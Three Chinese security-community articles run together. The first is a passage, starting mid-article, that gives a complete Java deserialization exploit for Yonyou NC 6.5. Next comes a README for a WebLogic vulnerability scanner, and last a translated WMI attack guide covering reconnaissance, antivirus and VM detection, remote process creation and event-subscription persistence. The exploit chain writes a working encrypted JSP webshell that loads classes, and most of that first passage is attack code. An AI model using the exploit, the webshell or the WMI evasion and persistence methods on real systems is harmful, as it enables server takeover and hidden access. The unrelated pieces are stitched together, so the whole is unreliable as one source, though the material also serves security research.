流程大概是这样子
（1）利用newInstance来实例化一个ScriptEngineManager对象
（2）调用它的getEngineByName方法 传入的参数为js
看一下它的判断条件
（1）不为空
（2）name为下面中的一个
最后返回了NashornScriptEngine对象
那么到这里，我们应该能构造一个简易版的poc了。来看看简易版的poc
package ysoserial;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import javax.script.ScriptEngineManager;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class testq {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(ScriptEngineManager.class),
new InvokerTransformer("newInstance", new Class[] {
}, new Object[] {}),
new InvokerTransformer("getEngineByName", new Class[] {
String.class}, new Object[] { "js" }),
new InvokerTransformer("eval", new Class[] {
String.class}, new Object[] { "java.lang.Thread.sleep(3000);\n" +
" var path = \"webapps/nc_web/\"\n" +
" var printWriter2 = new java.io.PrintWriter(path+\"1.jsp\");\n" +
" var shell = \"<%@page import=\\\"java.util.*,javax.crypto.*,javax.crypto.spec.*\\\"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter(\\\"pass\\\")!=null){String k=(\\\"\\\"+UUID.randomUUID()).replace(\\\"-\\\",\\\"\\\").substring(16);session.putValue(\\\"u\\\",k);out.print(k);return;}Cipher c=Cipher.getInstance(\\\"AES\\\");c.init(2,new SecretKeySpec((session.getValue(\\\"u\\\")+\\\"\\\").getBytes(),\\\"AES\\\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>\";\n" +
" printWriter2.println(shell);\n" +
" printWriter2.close();\n" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
transformerChain.transform(new Object());
}
}
执行以后看到了成功了，1.jsp生成了相应的代码。然后继续跟。
来看一下它传入的数据，这是前面已经写死了的先不管。
经过调用这个方法后，返回了一个NashornScriptEngine对象。调用了他的eval方法。
其中script保存了恶意的数据，网上百度了一下NashornScriptEngine的eval方法可以执行js的代码，类似下面这样。
关于这个js代码比较神奇，后续通过大量百度加问熟人，发现了一下文章。
<https://www.jb51.net/article/92138.htm>
能够上poc中执行代码一样。
到这里分析的其实差不多了，可以着手开始写poc了。其实分析下来，能发现和CC6很像，利用TiedMapEntry的getValue方法去触发lazymap的get()方法，去调用ChainedTransformer的transform，然后触发链子执行。明白了道理就来手写吧。
package ysoserial;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.script.ScriptEngineManager;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class testq {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(ScriptEngineManager.class),
new InvokerTransformer("newInstance", new Class[] {
}, new Object[] {}),
new InvokerTransformer("getEngineByName", new Class[] {
String.class}, new Object[] { "js" }),
new InvokerTransformer("eval", new Class[] {
String.class}, new Object[] { "java.lang.Thread.sleep(3000);\n" +
" var path = \"webapps/nc_web/\"\n" +
" var printWriter2 = new java.io.PrintWriter(path+\"1.jsp\");\n" +
" var shell = \"<%@page import=\\\"java.util.*,javax.crypto.*,javax.crypto.spec.*\\\"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter(\\\"pass\\\")!=null){String k=(\\\"\\\"+UUID.randomUUID()).replace(\\\"-\\\",\\\"\\\").substring(16);session.putValue(\\\"u\\\",k);out.print(k);return;}Cipher c=Cipher.getInstance(\\\"AES\\\");c.init(2,new SecretKeySpec((session.getValue(\\\"u\\\")+\\\"\\\").getBytes(),\\\"AES\\\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>\";\n" +
" printWriter2.println(shell);\n" +
" printWriter2.close();\n" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map m = new HashMap();
Map lazymap = LazyMap.decorate(m,transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"test1");
HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
File f = new File("1.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
objectOutputStream.writeObject(hashSet);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
objectInputStream.readObject();
}
}
最终的poc就是这个样子。后面问了朋友，这就是用友NC6.5反序列化的标准链子，之前百度没有百度出来，看来还是对一些老洞碰到的比较少研究的不是很多。还是要多冲多干。第一次做这种事情，记录一下。 | 社区文章 |
# 前言
前段时间试着挖了一段时间的src，在挖掘过程中由于相当多的站是使用weblogic搭建的，手工测测得有点疲惫了，网上也没找到比较好的工具。于是花了两三天的时间写了一个。感觉效果还行？
前期检测的功能不是特别多，但是比起手工已经省了不少的力气了。后期尽量会继续加些功能的。
github地址：<https://github.com/kingkaki/weblogic-scan>
# weblogic-scan
weblogic 漏洞扫描工具
~~妄想~~ 试图weblogic一把梭
目前检测的功能
* [x] console 页面探测 & 弱口令扫描
* [x] uuid页面的SSRF
* [x] CVE-2017-10271 wls-wsat页面的反序列化
* [x] CVE-2018-2628 反序列化
后期可以的话还会继续加功能的，主要是一些反序列化的poc真的不好写，我也不咋会..
# USE
**使用前请先填写`config.py`中的`server`参数**
推荐配合`http://ceye.io`之类的工具使用，server格式为`http://xxx.ceye.io`
使用方式比较简单，目前支持两种模式
1、扫描url.txt中的所有url
python3 weblogic-scan
2、扫描单一的url
python3 weblogic-scan 127.0.0.1:7001
console弱口令和CVE-2018-2628的扫描结果会直接在控制台中输出。
uuid页面的SSRF以及wls-wsat反序列化会在server服务器中留下日志文件。
会在域名前带上受影响机子的地址，这样扫描多个地址的时候方便做区分。
# prepare
## ENV
* version: python3
* expand : requests
## config.py
* timeout:
自定义timeout的时间，包括requests和socket的timeout
* **server** (没有默认值，务必填写):
由于一些exp发送后具体有没有成功需要看服务器是否有数据返回
需要一个服务器来接受这种数据，例如`[ceye.io](http://ceye.io)`
攻击成功会在dns记录以及http的log部分留下数据
## url.txt
支持如下几种格式的url
* 127.0.0.1
* 127.0.0.1:7001
* <http://127.0.0.1>
* <http://127.0.0.1:7001>
* <https://127.0.0.1>
* <http://127.0.0.1:7001>
不填写端口默认端口为80，https起头的默认端口为443 | 社区文章 |
# WMI 的攻击，防御与取证分析技术之攻击篇
|
##### 译文声明
本文是翻译文章，文章来源：wooyun
原文地址：<http://drops.wooyun.org/tips/9973>
译文仅供参考，具体内容表达以及含义原文为准。
近日,FireEye 安全公司的高级逆向工程团队(FLARE)发布了一份标题为《 WMI 攻击,防御与取证分析技术 》的 PDF 文档,该文档页数多达 90
页,文档内容主要从攻击,防御和取证分析这三个角度分篇对 WMI
技术做了详细的描述。其中不乏有很多值得学习思考的地方。于是,我利用业余时间翻译整理了此文档,拿出来与大家共分享 :),如有纰漏,望各位不吝赐教。
为了对原文档内容进行全面的翻译和解读,我按照文章的分析角度对原文档进行了分段式的翻译,本篇文章是分段式里面的第一篇,其余两篇译文的标题分别为:
《 WMI 的攻击,防御与取证分析技术之防御篇 》
《 WMI 的攻击,防御与取证分析技术之取证分析篇 》
**0x00 WMI 简介**
WMI 的全称是 Windows Management Instrumentation,即 Windows 管理规范,在 Windows 操作系统中,随着
WMI 技术的引入并在之后随着时间的推移而过时,它作为一项功能强大的技术,从 Windows NT 4.0 和 Windows 95
开始,始终保持其一致性。它出现在所有的 Windows 操作系统中,并由一组强大的工具集合组成,用于管理本地或远程的 Windows 系统。
尽管已被大众所知并且从其创始以来,已经被系统管理员大量使用,但当WMI技术在震网病毒中被发现以后,它开始在安全社区变得非常流行。从那之后, WMI
在攻击中变得日益普及,其作用有执行系统侦察,反病毒和虚拟机检测,代码执行,横向运动,权限持久化以及数据窃取。
随着越来越多的攻击者利用 WMI 进行攻击,他将会是安全维护人员,事件响应人员,取证分析师必须掌握的一项重要技能,并且要明白如何发挥它的优势。本白皮书介绍了
WMI 技术,并且演示了在实际攻击当中使用 WMI 构造 POC 和如何使用 WMI 作为一个基本的 IDS 以及提出了如何在 WMI
存储库文件格式中进行取证分析。
**0x01 修订历史**
在 Win2K 之前的操作系统中,就已经支持了 WMI 技术,只是当时需要下载并安装一个开发包。从 Win2K 开始,系统自带了 WMI ,并且 WMI
成为了系统的一个重要组件。随着 XP、2003、Vista、Win7 等的发布, WMI 所能提供的功能也在不断的增强和完善中。
下面是操作系统版本中对应的 WMI 的版本:
Nt 4.0 1.01
Sms 2.0 1.1
Win2000 1.5
WinXP/2003 2.0
**0x02 WMI 体系结构**
WMI是微软实现的由分布式管理任务组(DMTF)发布的基于 Web
的企业管理(WBEM)和公共信息模型(CIM)标准。这两个标准的目的是提供工业不可知论者手段,收集和传播在企业中有关的任何托管组件中的信息。
在一个较高的水平上,微软所实现的这些标准可以总结如下:
**托管组件**
托管组件被表示为 WMI 对象 —— 表示高度结构化的操作系统数据的类实例。微软提供了丰富的 WMI
对象用来与操作系统相关的信息进行通信。例如:Win32_Process,Win32_Service,AntiVirusProduct,Win32_StartupCommand等等。
**使用 WMI 数据**
微软提供了几种方式来使用 WMI 数据和执行 WMI 方法。例如, PowerShell 提供了一种非常简单的方式与 WMI 进行交互。
**查询 WMI 数据**
所有的WMI对象都使用类似于一个 SQL 查询的语言称为 WMI 查询语言(WQL)。 WQL 能够很好且细微的控制返回给用户的 WMI 对象。
**填充 WMI 数据**
当用户请求特定的 WMI 对象时,WMI 服务 (Winmgmt) 需要知道如何填充被请求的 WMI 对象。这个过程是由 WMI 提供程序去实现的。WMI
提供程序是一个基于 COM 的 DLL 文件 ,它包含一个在注册表中已经注册的相关联的 GUID 。 WMI 提供程序的功能 ——
例如查询所有正在运行的进程,枚举注册表项等等。
当 WMI 服务填充 WMI 对象时,有两种类型的类实例:
动态对象和持久性对象。动态对象是在特定查询执行时在运行过程中生成的。例如,Win32_Process 对象就是在运行过程中动态生成的。持久性对象存储在位于
%SystemRoot%System32wbemRepository 的 CIM 数据库中,它存储着 WMI 类的实例,类的定义和命名空间的定义。
**结构化 WMI 数据**
绝大多数的 WMI 对象的架构是在托管对象格式 (MOF) 文件中描述的。MOF 文件使用类似于 C++ 的语法并为一个 WMI 对象提供架构。因此,尽管
WMI 提供程序产生了原始数据,但是 MOF 文件为其产生的数据提供了被格式化的模式。从安全维护人员的角度来看,值得注意的是, WMI 对象定义可以在没有
MOF 文件的情况下被创建。相反,他们可以使用 .NET 代码直接插入到 CIM 资料库中。
**远程传输 WMI 数据**
Microsoft 提供了两个协议用于远程传输 WMI 数据: 分布式组件对象模型 (DCOM) 和 Windows 远程管理 (WinRM)。
**执行 WMI 操作**
部分 WMI 对象包括可执行的方法。例如,攻击者进行横向运动时执行的一个常用方法是在Win32_Process 类中的静态 Create
方法,此方法可以快速创建一个新的进程。另外, WMI 提供了一个事件系统,使用户可以使用注册事件处理函数进行创建,修改或删除任何 WMI 对象实例。
图 1 提供了微软实现 WMI 的一个高级别概述以及微软实现的组件和实现的标准之间的关系。
图 1: WMI 体系结构的高级别概述
**
**
**0** **x03 WMI 的类与命名空间**
WMI 代表着大多数与操作系统信息以及以对象的形式操作有关的数据。一个 WMI 对象是高度结构化定义的信息被如何表示的类的实例。在 MSDN
上,有很多常用的 WMI 类的详细介绍。例如,常见的、有据可查的 WMI 类是 Win32_Process。还有很多未文档化的 WMI 类,幸运的是,所有的
WMI 类都可以使用 WMI 查询语言 (WQL) 进行查询。
WMI
类的命名空间的层次结构非常类似于传统的,面向对象的编程语言的命名空间。所有的命名空间都派生自根命名空间,在用脚本语言查询对象并未显式指定命名空间时,微软使用
ROOTCIMV2 作为默认的命名空间。在下面的注册表项中包含所有 WMI 设置,也包括已定义的默认命名空间:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWBEM
可以使用下面的 PowerShell 代码递归查询所有的 WMI 类和它们各自的命名空间。
图 2:列举所有 WMI 类和命名空间的 PowerShell 示例代码
我们在 Windows 7 系统上测试后发现已经有 7950 个 WMI 类,这意味着有大量的操作系统数据可被检索。
下面是由上述脚本执行后返回的完整 WMI 类路径的一部分结果:
**0x04 查询 WMI**
WMI 提供了一种简单的语法用于查询 WMI 对象实例、 类和命名空间 — — [WMI 查询语言
(WQL)](https://msdn.microsoft.com/en-us/library/aa392902\(v=vs.85\).aspx)。
有三种类别的 WQL 查询:
1.实例查询 —— 用于查询 WMI 类的实例
2.事件查询 —— 用于一个 WMI 事件注册机制,例如 WMI 对象的创建、 删除或修改
3.元查询 —— 用于查询 WMI 类架构
实例查询
实例查询是最常见的用于获取 WMI 对象实例的 WQL 查询。基本的实例查询采用以下形式:
SELECT [Class property name|*] FROM [CLASS NAME] <WHERE [CONSTRAINT]>
以下查询将返回所有正在运行的进程的可执行文件名称中包含"Chrome"的结果。具体的说是,此查询将返回 Win32_Process
类的每个实例的所有属性的名称字段中包含字符串"Chrome"的结果。
SELECT * FROM Win32_Process WHERE Name LIKE "%chrome%"
事件查询
事件查询提供了报警机制,触发事件的类。在 WMI 类实例被创建时被用于常用的事件查询触发器。事件查询将采取以下形式:
SELECT [Class property name|*] FROM [INTRINSIC CLASS NAME] WITHIN [POLLING INTERVAL] <WHERE [CONSTRAINT]>
SELECT [Class property name|*] FROM [EXTRINSIC CLASS NAME] <WHERE [CONSTRAINT]>
内部和外部的事件将在事件章节中进一步详细解释。
下面是交互式用户登录的事件查询触发器。根据[MSDN 文档描述](https://msdn.microsoft.com/en-us/library/aa394189\(v=vs.85\).aspx),交互式登录的LogonType值为 2。
SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2
下面是在可移动媒体插入时的事件查询触发器:
SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2
元查询
元查询提供一个 WMI 类架构发现和检查机制。元查询采用以下形式:
SELECT [Class property name|*] FROM [Meta_Class<WHERE [CONSTRAINT]>
以下查询将列出所有以字符串 "Win32" 开头的 WMI 类:
SELECT * FROM Meta_Class WHERE __Class LIKE "Win32%"
当执行任何 WMI 查询时,除非显式提供命名空间,否则将隐式使用默认的命名空间 ROOTCIMV2。
**0x05 与 WMI 进行交互**
Microsoft 和第三方供应商提供了丰富的客户端工具使您可以与 WMI 进行交互。以下是此类客户端实用程序的非详尽清单:
PowerShell
PowerShell 是功能极其强大的脚本语言,包含了丰富的与 WMI 进行交互的功能。截至 PowerShell V3,以下 cmdlet
(PowerShell 命令术语) 可用于与 WMI 进行交互:
Get-WmiObject
Get-CimAssociatedInstance
Get-CimClass
Get-CimInstance
Get-CimSession
Set-WmiInstance
Set-CimInstance
Invoke-WmiMethod
Invoke-CimMethod
New-CimInstance
New-CimSession
New-CimSessionOption
Register-CimIndicationEvent
Register-WmiEvent
Remove-CimInstance
Remove-WmiObject
Remove-CimSession
WMI 和 CIM 的 cmdlet 也提供了类似的功能。然而,CIM cmdlet 引入了 PowerShell V3,并通过[WMI
cmdlets](http://blogs.msdn.com/b/powershell/archive/2012/08/24/introduction-to-cim-cmdlets.aspx) 提供了一些额外的灵活性。使用 CIM cmdlet 的最大优点是它们工作在 WinRM 和 DCOM
协议之上。WMI cmdlet 只工作在 DCOM 协议之上。但是并不是所有的系统都将安装 PowerShell v3+。PowerShell v2
是默认安装在 Windows 7 上的。因此,它被攻击者视为最小公共程序。
wmic.exe
wmic.exe 是一个与 WMI 进行交互的强大的命令行实用工具。它拥有大量的 WMI
对象的方便记忆的默认别名,但你还可以执行更为复杂的查询。wmic.exe 还可以执行 WMI 方法,攻击者经常用来通过调用 Win32_Process 的
Create 方法来进行横向运动。Wmic.exe 的局限性之一是不能接受调用嵌入的 WMI 对象的方法。在 PowerShell 不可用的情况下,使用
wmic.exe 足够用于执行系统侦察和基本方法的调用。
wbemtest.exe
wbemtest.exe 是一个功能强大的带有图形界面的 WMI 诊断工具。它能够枚举对象实例、执行查询、注册事件、修改 WMI
对象和类,并且可以在本地或远程去调用方法。它的接口对大多数用户来说不是特别友好,但从攻击者的角度来看,在其他工具不可用时,它完全可以作为替代选项 ——
例如,如果应用程序白名单机制阻止了 wmic.exe 和 powershell.exe,那么 wbemtest.exe 将是一个带有一个不太理想的 UI
(如图 3 所示)但是功能却很强大的实用工具。
图 3 wbemtest的图形接口
WMI Explorer
WMI Explorer 是一个很好的 WMI 类发现工具。它提供了一个优雅的 GUI (图 4 所示),你可以使用分层次的方式探索 WMI
存储库。它也能够连接到远程的 WMI 存储库,并执行查询。对安全研究人员寻找可用于攻击或防御的 WMI 类来说,像这样的 WMI 类发现工具是非常有价值的。
图 4 WMI Explorer
CIM Studio
CIM Studio 是 Microsoft 遗留的一个免费工具,你可以方便地浏览 WMI 存储库。像 WMI Explorer
一样,此工具也可以很好的进行 WMI 类发现。
Windows 脚本宿主(WSH)语言
Microsoft 提供了两个 WSH 脚本语言,VBScript 和 JScript。尽管它们比较过时,也算不上高雅的编程语言,但是说到与 WMI
进行交互时,它们的确都是功能强大的脚本语言。事实上,使用 VBScript 和 JScript 编写的利用 WMI 作为主要的 C&C
机制的后门已经出现了。此外,如后面将要解释的,它们是唯一支持 ActiveScriptEventConsumer
事件消费者组件的语言,该组件对于攻击者和防御者来说都是一个非常有价值的 WMI 组件。最后,从攻击的角度来看, VBScript 和 JScript
是在未安装 PowerShell 的老版本的 Windows 系统上的最小公共程序。
C/C++ 调用 IWbem* COM API
如果你需要使用非托管语言如 C 或 C++ 与 WMI 进行交互,你将需要使用[ WMI 的 COM
API](https://msdn.microsoft.com/en-us/library/aa389276\(v=vs.85\).aspx)。逆向工程师将需要非常熟悉此接口以及每一个 COM Guid 才能充分理解与 WMI
交互的恶意软件。
.NET System.Management 类
.NET 类库在 System.Management 命名空间中提供了几个与 WMI 相关的类,可以相对简单的使用如 C#、VB.Net 和 F#
语言编写与 WMI 交互的程序。在后续的示例中,这些类将用于在 PowerShell 代码中补充现有的 WMI/CIM cmdlet。
winrm.exe
winrm.exe 可以在运行 WinRM 服务的本地和远程计算机上进行枚举 WMI 对象实例、调用方法,并创建和删除对象实例。也可以用 winrm.exe
来配置 WinRM 设置。
下面的示例显示了 winrm.exe 可用于执行命令、枚举对象的多个实例,并检索单个对象实例:
winrm invoke Create wmicimv2/Win32_Process @{CommandLine="notepad.exe";CurrentDirectory="C:"}
winrm enumerate http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process
winrm get http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_OperatingSystem
Linux版本的 wmic 和 wmis-pth
wmic 是一个简单的 Linux 命令行实用工具,用于执行 WMI 查询。wmis 是 Win32_Process 类的 Create
方法的远程调用命令行包装程序,并且支持使用 NTLM 哈希进行连接远程计算机,因此, wmis 已经被渗透测试人员大量使用。
**0x06 远程使用 WMI**
虽然可以与本地的 WMI 进行交互,但是通过网络才能显示出 WMI 的真实能量。目前,由于 DCOM 和 WinRM
这两个协议的存在,将使得远程对象的查询,事件注册, WMI 类方法的执行,以及类的创建都能够被支持。
这些协议看起来非常有利于攻击者,因为大多数组织机构和安全供应商一般不审查这些恶意活动所传输的内容。攻击者需要有效的利用远程 WMI
则需要有特权用户的凭据。在 Linux 平台中的 wmis-pth 实用工具,则需要的是受害者的用户的哈希。
分布式组件对象模型 (DCOM)
从 DCOM 出现以来它一直是 WMI 所使用的默认协议,通过 TCP 的 135 端口建立初始连接。后续的数据交换则使用随机选定的 TCP 端口。可以通过
dcomcnfg.exe 并最终修改下面的注册表项来配置此端口的范围:
HKEY_LOCAL_MACHINESoftwareMicrosoftRpcInternet –Ports (REG_MULTI_SZ)
在 PowerShell 中内置的所有 WMI cmdlets 都是使用 DCOM 进行通信的。
Windows 远程管理 (WinRM)
最近, WinRM 取代了 DCOM 并成为 Windows 推荐的远程管理协议。WinRM 的构建基于 Web 服务管理 (WSMan) 规范 ——
一种基于 SOAP 的设备管理协议。此外,PowerShell 的远程传输协议也是基于 WinRM 规范的,同时 PowerShell 提供了极其强大的
Windows 企业级的远程管理。WinRM 也支持 WMI,以及通过网络执行 CIM 操作。
默认情况下,WinRM 服务监听的 TCP 端口是 5985 (HTTP),并且在默认情况下是加密的。还可以配置证书使其支持 HTTPS ,此时监听的
TCP 端口为 5986。
WinRM 的设置很容易配置,可以使用 GPO , winrm.exe ,或 PowerShell 中的 WSMan PSDrive 来配置,如下所示:
PowerShell 提供了一个 cmdlet 可以很方便的验证 WinRM 服务是否正在侦听 —— Test-WSMan。如果 Test-WSMan
返回了结果,则表明该系统的 WinRM 服务正处于监听状态。
为了与系统的 WMI 进行交互以便运行 WinRM 服务,唯一支持远程 WMI 交互的内置工具是 winrm.exe 和 PowerShell 的 CIM
cmdlet。此外,对于没有运行 WinRM 服务的系统还可以使用 CIM cmdlet 来配置使用 DCOM 。
**0x07 WMI 事件**
从攻击者或防御者的角度来看, WMI 最强大的功能之一就是对 WMI 事件的异步响应的能力。除了少数例外,WMI
事件几乎可以用于对操作系统的任何事件作出响应。例如,WMI 事件可能用于触发一个进程创建的事件。这种机制可随后被用作在任何 Windows
操作系统上执行命令行审计。
有两类 WMI 事件 —— 它们都运行在本地的单个进程和 WMI 永久事件订阅的上下文中。本地事件可以维持宿主进程的生存期,尽管 WMI 永久事件订阅存储在
WMI 存储库中,但是作为 SYSTEM 权限运行后依旧可以在重新启动之后继续持续运行。
事件触发条件
要安装一个永久事件订阅,下面三件事情是必须要做的:
1.事件筛选器 —— 筛选出感兴趣的事件
2.事件消费者 —— 要在事件被触发时执行的操作
3.消费者绑定筛选器 — — 将筛选器绑定到消费者的注册机制
事件筛选器
事件筛选器描述了感兴趣的事件并且执行了 WQL
事件查询。一旦系统管理员配置了筛选器,他们就可以使用它在创建新的事件时接收到通知。举一个例子,事件筛选器可能用于描述以下一些事件:
创建一个具有特定名称的进程
将 DLL 加载到进程中
创建具有特定 ID 的事件日志
插入可移动媒体
用户注销
创建、修改、删除任何文件或目录
事件筛选器都被存储为一个 ROOTsubscription:__EventFilter 对象的实例。事件筛选器查询支持以下类型的事件:
内部事件
内部事件表示的是创建、修改和删除任何 WMI 类,对象或命名空间的事件。它们也可被用于计时器或 WMI 方法执行的警报。以下内部事件采用了系统类
(以两个下划线开头的那些) 的形式,并存在于每一个 WMI 命名空间:
__NamespaceOperationEvent
__NamespaceModificationEvent
__NamespaceDeletionEvent
__NamespaceCreationEvent
__ClassOperationEvent
__ClassDeletionEvent
__ClassModificationEvent
__ClassCreationEvent
__InstanceOperationEvent
__InstanceCreationEvent
__MethodInvocationEvent
__InstanceModificationEvent
__InstanceDeletionEvent
__TimerEvent
这些事件的作用非常强大,因为它们可以被用于在操作系统中几乎任何可以想见的事件的触发器。例如,如果触发了一个基于交互式登录的事件则可以形成下面的内部事件查询:
此查询被转换为创建一个登录类型为 2 (交互式)的 Win32_LogonSession 类的一个实例。
由于触发的内部事件有一定的频率,所以必须在 WQL 查询语句的 WITHIN
子句中指定事件轮询间隔。这就是说,它有时可能错过事件。例如,如果事件查询的形式目的是创建 WMI 类的实例,如果该实例的创建和销毁 (如常见的一些进程 ——
Win32_Process 实例) 在轮询间隔内,那么则会错过这一事件。创建内部 WMI 查询时,必须考虑这种可能出现的情况。
SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA
'Win32_LogonSession' AND TargetInstance.LogonType = 2
外部事件
外部事件解决了和内部事件有关的潜在的轮询问题,因为它们在事件发生时立刻被触发。然而美中不足的是在 WMI
中并没有太多的外部事件,不过,所有已经存在的外部事件的作用很强大,性能也很高。下面的外部事件对于攻击者和防御者来说可能是有用的:
ROOTCIMV2:Win32_ComputerShutdownEvent
ROOTCIMV2:Win32_IP4RouteTableEvent
ROOTCIMV2:Win32_ProcessStartTrace
ROOTCIMV2:Win32_ModuleLoadTrace
ROOTCIMV2:Win32_ThreadStartTrace
ROOTCIMV2:Win32_VolumeChangeEvent
ROOTCIMV2: Msft_WmiProvider*
ROOTDEFAULT:RegistryKeyChangeEvent
ROOTDEFAULT:RegistryValueChangeEvent
以下外部事件查询形式可以用来捕获每一个进程已加载的所有可执行模块(用户模式和内核模式):
SELECT * FROM Win32_ModuleLoadTrace
事件消费者
事件消费是一个派生自 __EventConsumer 系统类的类,它表示了在事件触发时的动作。系统提供了以下有用的标准事件消费类:
LogFileEventConsumer - 将事件数据写入到指定的日志文件
ActiveScriptEventConsumer - 执行嵌入的 VBScript 或 JScript 脚本 payload
NTEventLogEventConsumer - 创建一个包含事件数据的事件日志条目
SMTPEventConsumer - 发送一封包含事件数据的电子邮件
CommandLineEventConsumer - 执行一个命令行程序
攻击者在响应他们的事件时,大量使用 ActiveScriptEventConsumer 和 CommandLineEventConsumer
类。这两个事件消费者为攻击者提供了极大的灵活性去执行他们想要执行的任何 payload 并且无需写入一个恶意的可执行文件或脚本到磁盘。
恶意的 WMI 持久化示例
图 5 中的 PowerShell 代码是修改过的存在于 [SEADADDY](https://github.com/pan-unit42/iocs/blob/master/seaduke/decompiled.py#L887) 恶意软件家族中的 WMI
持久性代码实例。该事件筛选器取自 PowerSploit 的持久性模块,目的是在系统启动后不久触发,事件消费者只需执行一个具有系统权限的可执行文件。图 5
中的事件筛选器在系统启动后的 200 和 320 秒之间被当作一个触发器。在事件被触发时事件消费者会执行已指定好的可执行文件。通过指定筛选器和一个
__FilterToConsumerBinding 实例将筛选器和消费者注册并将二者绑定在一起。
图 5 :SEADADDY 恶意软件的 WMI 持久性 PowerShell 代码
**0x08 WMI 攻击技术**
在攻击者的各个阶段的攻击生命周期中,WMI 都是极其强大的工具。系统提供了丰富的 WMI
对象、方法和事件,它们的功能极其强大,可以执行很多东西,从系统侦察、反病毒、虚拟机检测、代码执行、横向运动、隐蔽存储数据到持久性。它甚至可以打造一个纯粹的
WMI 后门且无需写入文件到磁盘。
攻击者使用 WMI 有很多优势:
它被默认安装在所有的 Windows 操作系统中,并且可以追溯到 Windows 98 和 NT4.0。
对于执行代码,它可以隐蔽的运行 PSEXEC。
WMI 永久事件订阅是作为系统权限运行的。
防御者通常没有意识到 WMI 可以作为一个多用途的攻击向量。
几乎每一个系统操作都能够触发一个 WMI 事件。
除了在 WMI 存储库中存储之外不会对磁盘进行任何操作。
以下列表显示了几个如何使用 WMI 在攻击的各个阶段执行操作的例子。
系统侦察
许多恶意软件操纵者和渗透测试人员所做的第一件事情就是系统侦察, WMI 包含有大量的类可以帮助攻击者去感知他们的目标的环境。
下面的 WMI 类是在攻击的侦察阶段可以收集数据的子集:
主机/操作系统信息:Win32_OperatingSystem, Win32_ComputerSystem
文件/目录列举: CIM_DataFile
磁盘卷列举: Win32_Volume
注册表操作: StdRegProv
运行进程: Win32_Process
服务列举: Win32_Service
事件日志: Win32_NtLogEvent
登录账户: Win32_LoggedOnUser
共享: Win32_Share
已安装补丁: Win32_QuickFixEngineering
反病毒/虚拟机检测
杀毒引擎检测
已安装的 AV 产品通常会将自己注册在 WMI 中的 AntiVirusProductclass 类中的 rootSecurityCenter 或者是
rootSecurityCenter2 命名空间中,具体是哪一个命名空间则取决于操作系统的版本。
一个 WMI 客户端可以通过执行下面的 WQL 查询示例来获取已安装的 AV 产品:
SELECT * FROM AntiVirusProduct
如下图所示:
通用的虚拟机/沙盒检测
恶意软件可以使用 WMI 对通用的虚拟机和沙盒环境进行检测。例如,如果物理内存小于 2 GB 或者是单核 CPU ,那么很可能操作系统是在虚拟机中运行的。
WQL 查询示例如下:
SELECT * FROM Win32_ComputerSystem WHERE TotalPhysicalMemory < 2147483648
SELECT * FROM Win32_ComputerSystem WHERE NumberOfLogicalProcessors < 2
图 6 显示了使用 WMI 和 PowerShell 对通用的虚拟机进行检测的操作:
图 6 :检测通用的虚拟机的 PowerShell 代码
VMware 虚拟机检测
下面的查询示例试图查找 VMware 字符串是否出现在某些 WMI 对象中并且检查 VMware tools 的守护进程是否正在运行:
SELECT * FROM Win32_NetworkAdapter WHERE Manufacturer LIKE "%VMware%"
SELECT * FROM Win32_BIOS WHERE SerialNumber LIKE "%VMware%"
SELECT * FROM Win32_Process WHERE Name="vmtoolsd.exe"
SELECT * FROM Win32_NetworkAdapter WHERE Name LIKE "VMware%"
图 7 演示的是使用 WMI 和 PowerShell 对 VMware 虚拟机进行检测的操作:
图 7 :检测 VMware 虚拟机的 PowerShell 代码
代码执行和横向运动
有两种常用的方法可以实现 WMI 的远程代码执行: Win32_Process 的 Create 方法和事件消费者。
Win32_Process 的 Create 方法
Win32_Process 类包含一个名为 Create 的静态方法,它可以在本地或远程创建进程。这种情况下 WMI 就等同于运行 psexec.exe
一样,只是没有了不必要的取证操作,如创建服务。下面的示例演示了在远程机器上执行进程:
一个更切实可行的的恶意使用案例是调用 Create 方法并且使用 powershell.exe 调用包含嵌入的恶意脚本。
事件消费者
实现代码执行的另外一个方法是创建一个 WMI 永久事件订阅。通常情况下, WMI 永久事件订阅被设计为对某些事件持续的做出响应。然而,如果攻击者想要执行一个
payload ,他们可能只需要配置事件消费者去删除其相应的事件筛选器、消费者和绑定到消费者的筛选器。这种技术的优点是 payload
